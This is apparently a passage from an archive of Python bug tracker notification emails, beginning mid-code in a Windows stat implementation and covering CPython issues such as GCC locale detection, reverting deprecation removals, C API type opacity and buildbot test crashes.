S_IEXEC if the filename has an extension that is // commonly used by files that CreateProcessW can execute. // A real implementation would call GetSecurityInfo, // OpenThreadToken / OpenProcessToken, and AccessCheck to // check for read, write, and execute access. const wchar_t *fileExtension = wcsrchr(path, '.'); if (fileExtension) { if (_wcsicmp(fileExtension, L".com") == 0 || _wcsicmp(fileExtension, L".exe") == 0 || _wcsicmp(fileExtension, L".bat") == 0 || _wcsicmp(fileExtension, L".cmd") == 0) { result->st_mode |= 0111; } } } cleanup: if (hFile != INVALID_HANDLE_VALUE) { // Preserve the last error when failing. error = retval ? GetLastError() : 0; if (CloseHandle(hFile)) { SetLastError(error); } else { retval = -1; } } return retval; } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:21:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 23:21:18 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239278.09.0.157785868298.issue38472@roundup.psfhosted.org> STINNER Victor added the comment: FYI distutils.unixccompiler has a private _is_gcc() function: def _is_gcc(self, compiler_name): # clang uses same syntax for rpath as gcc return any(name in compiler_name for name in ("gcc", "g++", "clang")) It's called with: compiler = os.path.basename(sysconfig.get_config_var("CC")) For example, on my Fedora 35, compiler is the string: 'gcc -pthread'. So _is_gcc() returns True. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:22:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 23:22:12 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239332.86.0.300432680949.issue38472@roundup.psfhosted.org> STINNER Victor added the comment: New changeset a9503ac39474a9cb1b1935ddf159c0d9672b04b6 by Victor Stinner in branch 'main': bpo-38472: setup.py uses LC_ALL=C to check the C compiler (GH-30929) https://github.com/python/cpython/commit/a9503ac39474a9cb1b1935ddf159c0d9672b04b6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:22:30 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 23:22:30 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239350.12.0.606021172376.issue38472@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +29110 pull_request: https://github.com/python/cpython/pull/30931 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:22:34 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 23:22:34 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239354.06.0.121341620908.issue38472@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29111 pull_request: https://github.com/python/cpython/pull/30932 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:23:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 23:23:49 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239429.09.0.0021785709775.issue38472@roundup.psfhosted.org> STINNER Victor added the comment: The workaround for this bug is to build Python using the command: LC_ALL=C make rather than running: make ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:25:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 23:25:53 +0000 Subject: [issue38472] setup.py: GCC detection is broken when cross-compiling with a German locale In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643239553.58.0.247069963227.issue38472@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: GCC detection in setup.py is broken -> setup.py: GCC detection is broken when cross-compiling with a German locale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:28:35 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 26 Jan 2022 23:28:35 +0000 Subject: [issue45162] Remove old deprecated unittest features In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org> Message-ID: <1643239715.57.0.743065124312.issue45162@roundup.psfhosted.org> Gregory P. Smith added the comment: Per https://mail.python.org/archives/list/python-dev at python.org/thread/GJTREADEXYAETECE5JDTPYWK4WMTKYGR/ we want to revert this change for 3.11 as it causes adoption pain for little benefit. To determine if we should proceed with this in 3.12 or future versions, run a stable Python with this change applied on the test suites of external projects to find regressions. (many will have been addressed by then thanks to the work by RedHat) and remember that those are only open source projects. Peoples internal codebases are full of use of these names and this will prevent upgrading until they take the time to address those. There are targeted pieces of this change that may make sense to go forward with individually. But it is easier to reason about after a rollback and consider new PRs to move those forward. ---------- nosy: +gregory.p.smith priority: normal -> deferred blocker resolution: fixed -> stage: resolved -> needs patch status: closed -> open type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:35:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 26 Jan 2022 23:35:50 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643240150.69.0.0495645322725.issue46282@roundup.psfhosted.org> Irit Katriel added the comment: > "have the :ref:`default return value of ``None``." This sounds to me like "by default they return None but you can override this default". I don't think any change to the doc makes sense here. When you state the obvious people wonder what they're missing. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:36:03 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 26 Jan 2022 23:36:03 +0000 Subject: [issue45173] Remove configparser deprecations In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org> Message-ID: <1643240163.34.0.164676749844.issue45173@roundup.psfhosted.org> Gregory P. Smith added the comment: Per https://mail.python.org/archives/list/python-dev at python.org/thread/GJTREADEXYAETECE5JDTPYWK4WMTKYGR/ we want to revert https://github.com/python/cpython/commit/1fc41ae8709e20d741bd86c2345173688a5e84b0 for 3.11 to avoid causing pain. per that thread and https://discuss.python.org/t/experience-with-python-3-11-in-fedora/12911 it sounds like you may be on top of filing upstream issues/PRs to get OSS projects to stop using the deprecated APIs. great! that should help this stick in 3.12. as the commit removed several things at once, I suggest a full rollback, and smaller PRs for individual things if your upstream python project testing reveals things that nobody appears to be depending on. ---------- nosy: +gregory.p.smith priority: normal -> deferred blocker stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:36:22 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 26 Jan 2022 23:36:22 +0000 Subject: [issue45162] Remove old deprecated unittest features In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org> Message-ID: <1643240182.5.0.148716184722.issue45162@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:49:14 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 Jan 2022 23:49:14 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643240954.04.0.0305462916275.issue46502@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset f0a648152f2d8011f47cc49873438ebaf01d3f82 by Mateusz ?oskot in branch 'main': bpo-46502: Remove "How do I tell incomplete input" from FAQ (GH-30925) https://github.com/python/cpython/commit/f0a648152f2d8011f47cc49873438ebaf01d3f82 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:50:01 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 23:50:01 +0000 Subject: [issue38472] setup.py: GCC detection is broken when cross-compiling with a German locale In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643241001.94.0.221537013669.issue38472@roundup.psfhosted.org> miss-islington added the comment: New changeset 171fdf2162130bc8c748173bc8eef184b21f5a08 by Miss Islington (bot) in branch '3.10': bpo-38472: setup.py uses LC_ALL=C to check the C compiler (GH-30929) https://github.com/python/cpython/commit/171fdf2162130bc8c748173bc8eef184b21f5a08 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:50:38 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 26 Jan 2022 23:50:38 +0000 Subject: [issue38472] setup.py: GCC detection is broken when cross-compiling with a German locale In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643241038.17.0.504984693212.issue38472@roundup.psfhosted.org> miss-islington added the comment: New changeset ff11effab7ae10b57719c066ee49b52d3991ead3 by Miss Islington (bot) in branch '3.9': bpo-38472: setup.py uses LC_ALL=C to check the C compiler (GH-30929) https://github.com/python/cpython/commit/ff11effab7ae10b57719c066ee49b52d3991ead3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:50:49 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 Jan 2022 23:50:49 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643241049.06.0.203027158471.issue46502@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29112 pull_request: https://github.com/python/cpython/pull/30933 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:52:18 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 Jan 2022 23:52:18 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643241138.87.0.954911900997.issue46502@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +29113 pull_request: https://github.com/python/cpython/pull/30934 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 19:00:50 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 00:00:50 +0000 Subject: [issue45162] Remove old deprecated unittest features In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org> Message-ID: <1643241650.02.0.488114894644.issue45162@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- pull_requests: +29114 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30935 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 19:16:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 Jan 2022 00:16:53 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643242613.5.0.529491219165.issue46502@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset dafada393f9a790461430e2493ea1379e938b51a by Pablo Galindo Salgado in branch '3.9': [3.9] bpo-46502: Remove "How do I tell incomplete input" from FAQ (GH-30925) (GH-30934) https://github.com/python/cpython/commit/dafada393f9a790461430e2493ea1379e938b51a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 19:16:54 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 Jan 2022 00:16:54 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643242614.1.0.152329574116.issue46502@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset c7af838805ddf52320bce3d5978bfdd37eed1b3a by Pablo Galindo Salgado in branch '3.10': [3.10] bpo-46502: Remove "How do I tell incomplete input" from FAQ (GH-30925) (GH-30933) https://github.com/python/cpython/commit/c7af838805ddf52320bce3d5978bfdd37eed1b3a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 19:17:04 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 Jan 2022 00:17:04 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643242624.4.0.876885212339.issue46502@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 19:46:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 00:46:39 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643244399.97.0.349195660307.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: TODO: * Macros still accessing directly PyTypeObject members: * PyHeapType_GET_MEMBERS() * PySequence_ITEM() * _PyObject_SIZE() * _PyObject_VAR_SIZE() * PyType_SUPPORTS_WEAKREFS() * Try again to apply "bpo-40170: PyType_HasFeature() now always calls PyType_GetFlags() (GH-19378)" which has been reverted? * Py_TYPE(obj)->tp_name is still commonly used to format error messages: see rejected bpo-34595 Other TODO tasks which can be addressed in follow-up issues: * Add buffer protocol to PyType_FromSpec() * Stdlib C extensions still define static types: see bpo-40077 * 3rd party C extensions still define static types: PEP 630 and others propose heap types ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:00:34 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 01:00:34 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643245234.19.0.0370016129613.issue45296@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29115 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30936 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:07:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:07:40 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643245660.94.0.409248978084.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: I searched for "_PyGC_FINALIZED" in top 5000 PyPI projects. It seems like only Cython is impacted. ddtrace and guppy3 use directly the internal C API. == Cython 0.29.26 == * Cython/Compiler/ModuleNode.py: finalised_check = '!_PyGC_FINALIZED(o)' * Cython/Compiler/ModuleNode.py: '(!PyType_IS_GC(Py_TYPE(o)) || !_PyGC_FINALIZED(o))') == ddtrace 0.57.3 == In ddtrace/profiling/collector/stack.pyx: IF PY_MINOR_VERSION >= 9: # Needed for accessing _PyGC_FINALIZED when we build with -DPy_BUILD_CORE cdef extern from "": pass == guppy3-3.1.2 == In src/heapy/hv.c: #if PY_MAJOR_VERSION >= 3 && PY_MINOR_VERSION >= 9 # define Py_BUILD_CORE /* PyGC_Head */ # undef _PyGC_FINALIZED # include # undef Py_BUILD_CORE #endif ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:10:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:10:54 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643245854.87.0.509310361356.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: I searched for "_PyObject_DebugMallocStats" in top 5000 PyPI projects. There is a single project using it: guppy3. Extract of guppy3 src/heapy/xmemstats.c: ... dlptr__PyObject_DebugMallocStats = addr_of_symbol("_PyObject_DebugMallocStats"); ... static PyObject * hp_xmemstats(PyObject *self, PyObject *args) { if (dlptr__PyObject_DebugMallocStats) { fprintf(stderr, "======================================================================\n"); fprintf(stderr, "Output from _PyObject_DebugMallocStats()\n\n"); dlptr__PyObject_DebugMallocStats(stderr); } ... } addr_of_symbol() is implemented with dlsym() or GetModuleHandle(NULL)+GetProcAddress(): it searchs for the symbol in the current process. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:16:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:16:56 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643246216.19.0.288874635278.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: In the top 5000 PyPI projects, the _PyObject_SIZE() and _PyObject_VAR_SIZE() functions are used by 7 projects: * Cython-0.29.26 * frozendict-2.2.0: implement "sizeof" function, found in copies of Objects/dictobject.c file * JPype1-1.3.0 * numpy-1.22.1: gentype_alloc() in numpy/core/src/multiarray/scalartypes.c.src, used as type tp_alloc functions * pickle5-0.0.12 * pyobjc-core-8.2 * recordclass-0.17.1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:19:54 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 01:19:54 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643246394.95.0.0112622595332.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29116 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30937 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:26:57 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:26:57 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643246817.57.0.592405346725.issue40170@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29117 pull_request: https://github.com/python/cpython/pull/30938 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:29:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:29:56 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot Message-ID: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> New submission from STINNER Victor : s390x Fedora Clang 3.x buildbot: https://buildbot.python.org/all/#/builders/3/builds/1385 This change may be caused by this buildbot configuration change: https://github.com/python/buildmaster-config/commit/8fbb7492d4509df074750bc1a8ea69812ff53aae --- 0:05:48 load avg: 7.72 [215/432/1] test_lib2to3 crashed (Exit code -11) -- running: (...) Fatal Python error: Segmentation fault Current thread 0x000003ff94176710 (most recent call first): File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 845 in generate_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 785 in _recursive_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches (...) File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches ... Extension modules: _testcapi (total: 1) --- and --- 0:06:29 load avg: 7.50 [245/432/2] test_json crashed (Exit code -11) -- running: (...) Fatal Python error: Segmentation fault Current thread 0x000003ffbccf6710 (most recent call first): File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 439 in _iterencode File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 325 in _iterencode_list (...) File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 439 in _iterencode ... Extension modules: _testcapi (total: 1) --- test.pythoninfo difference between successful build 1383 and failing build 1385: * Py_DEBUG: No => Yes * pymem.allocator: pymalloc => pymalloc_debug * sysconfig[CFLAGS]: -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall => sysconfig[CFLAGS]: -Wsign-compare -g -O0 -Wall ---------- components: Tests messages: 411820 nosy: vstinner priority: normal severity: normal status: open title: test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:31:59 2022 From: report at bugs.python.org (Zhang Na) Date: Thu, 27 Jan 2022 01:31:59 +0000 Subject: [issue46498] Add new triplets for loongarch64 In-Reply-To: <1643163774.53.0.339262106293.issue46498@roundup.psfhosted.org> Message-ID: <1643247119.52.0.0408515666644.issue46498@roundup.psfhosted.org> Change by Zhang Na : ---------- pull_requests: +29118 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30939 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:37:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:37:45 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643247465.28.0.369153859452.issue40170@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29119 pull_request: https://github.com/python/cpython/pull/30940 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:40:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:40:09 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643247609.18.0.639936254304.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: These 2 tests seem to check for RecursionError. See my notes: https://pythondev.readthedocs.io/unstable_tests.html#unlimited-recursion ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:42:06 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 27 Jan 2022 01:42:06 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643247726.13.0.141740697122.issue46541@roundup.psfhosted.org> Change by Eric Snow : ---------- keywords: +patch pull_requests: +29120 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30941 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:55:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:55:27 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643248527.97.0.923085427679.issue40170@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29121 pull_request: https://github.com/python/cpython/pull/30942 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 21:01:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 02:01:06 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643248866.34.0.458030036292.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: New changeset af32b3ef1fbad3c2242627a14398320960a0cb45 by Victor Stinner in branch 'main': bpo-40170: PyType_SUPPORTS_WEAKREFS() becomes a regular function (GH-30938) https://github.com/python/cpython/commit/af32b3ef1fbad3c2242627a14398320960a0cb45 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 21:26:42 2022 From: report at bugs.python.org (Yu Zhao) Date: Thu, 27 Jan 2022 02:26:42 +0000 Subject: [issue45735] Promise the long-time truth that `args=list` works In-Reply-To: <1636171321.93.0.670075505099.issue45735@roundup.psfhosted.org> Message-ID: <1643250402.55.0.411981806815.issue45735@roundup.psfhosted.org> Yu Zhao added the comment: I'd like to work on this issue recently if it's still needed. According to suggestions in PR:https://github.com/python/cpython/pull/29437, I will: * Add doc example for Thread function; * Add some test cases for checking the validity of list args; * Repeat the above works on multiprocessing module. ---------- nosy: +CharlieZhao _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 21:35:55 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 02:35:55 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643250955.23.0.0994450253014.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 6b491b9dc0b0fdfd1f07ea4e2151236186d8e7e6 by Victor Stinner in branch 'main': bpo-40170: Remove _Py_GetAllocatedBlocks() function (GH-30940) https://github.com/python/cpython/commit/6b491b9dc0b0fdfd1f07ea4e2151236186d8e7e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 21:42:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 02:42:32 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643251352.46.0.49056843108.issue40170@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29122 pull_request: https://github.com/python/cpython/pull/30943 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 21:43:08 2022 From: report at bugs.python.org (Tim Peters) Date: Thu, 27 Jan 2022 02:43:08 +0000 Subject: [issue45735] Promise the long-time truth that `args=list` works In-Reply-To: <1636171321.93.0.670075505099.issue45735@roundup.psfhosted.org> Message-ID: <1643251388.92.0.821304872268.issue45735@roundup.psfhosted.org> Tim Peters added the comment: Charliz, please do! I have no idea why Raymond just stopped. He even deleted his initial message here, saying "I relied on this for many years. So, yet it would be nice to guarantee it :-)". Best I can tell, nothing has changed: lots of people have relied on this behavior for years, and the docs should say it's fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:07:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 03:07:01 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643252821.04.0.455913394896.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > * guppy3-3.1.2: src/sets/bitset.c and src/sets/nodeset.c I created: https://github.com/zhuyifei1999/guppy3/pull/40 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:09:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 03:09:35 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643252975.89.0.963013589473.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > * scipy-1.7.3: scipy/_lib/boost/boost/python/object/make_instance.hpp This is a vendored the Boost.org python module which has already been fixed in boost 1.78.0 (commit: January 2021) by: https://github.com/boostorg/python/commit/500194edb7833d0627ce7a2595fec49d0aae2484 scipy should just update its scipy/_lib/boost copy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:12:03 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 27 Jan 2022 03:12:03 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643253123.24.0.368014708587.issue46539@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset ced50051bb752a7c1e616f4b0c001f37f0354f32 by Gregory Beauregard in branch 'main': bpo-46539: Pass status of special typeforms to forward references (GH-30926) https://github.com/python/cpython/commit/ced50051bb752a7c1e616f4b0c001f37f0354f32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:16:39 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 03:16:39 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643253399.03.0.757390440143.issue45296@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset fcde0bc10ddd836b62d0a8e893d80b8c55e0ba3f by Terry Jan Reedy in branch 'main': bpo-45296: Clarify close, quit, and exit in IDLE (GH-30936) https://github.com/python/cpython/commit/fcde0bc10ddd836b62d0a8e893d80b8c55e0ba3f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:16:41 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:16:41 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: 